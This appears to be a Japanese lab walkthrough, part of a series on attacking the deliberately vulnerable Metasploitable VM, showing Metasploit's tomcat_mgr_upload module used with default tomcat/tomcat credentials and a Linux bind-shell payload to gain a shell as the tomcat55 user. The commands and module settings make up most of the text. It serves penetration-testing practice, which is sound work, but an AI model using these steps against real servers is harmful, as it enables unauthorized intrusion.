Metasploitable への各種攻撃 その4
tomcatの管理画面にログインでき
管理用アカウントの
ユーザ名
パスワード
がわかると
metasploit のモジュールによるシェル奪取が可能となる
msfconsole
で msfコンソールを立ち上げ
grep exploit search tomcat
でペイロードを調べる
今回使用するのは
exploit/multi/http/tomcat_mgr_upload
use exploit/multi/http/tomcat_mgr_upload show targets
でどれを対象にするか表示できる
Exploit targets: Id Name -- ---- 0 Java Universal 1 Windows Universal 2 Linux x86
で対象は Metasploitable なので
2 の Linux x86
set target 2 set payload linux/x86/shell_bind_tcp
で対象をセットし
バインドシェルを tomcat にデブロイ
set HttpUsername tomcat set HttpPassword tomcat set rhost 192.168.1.137 set rport 8180
で
tomcat の
ユーザ名
パスワード
対象IPアドレス
tomcat で使用しているポート番号
をセット
show options
で設定を確認
今回の場合だと
Module options (exploit/multi/http/tomcat_mgr_upload): Name Current Setting Required Description ---- --------------- -------- ----------- HttpPassword tomcat no The password for the specified username HttpUsername tomcat no The username to authenticate as Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS 192.168.1.137 yes The target address range or CIDR identifier RPORT 8180 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI /manager yes The URI path of the manager app (/html/upload and /undeploy will be used) VHOST no HTTP server virtual host Payload options (linux/x86/shell_bind_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LPORT 4444 yes The listen port RHOST 192.168.1.137 no The target address Exploit target: Id Name -- ---- 2 Linux x86
あとは
exploit
で実行
これで whoami コマンドを使うと
tomcat55 権限でシェル操作できる
whoami コマンドは
ユーザ名の表示コマンド
詳しくは
【 whoami 】コマンド/【 groups 】コマンド――自分の名前と所属するグループを表示する
を参考に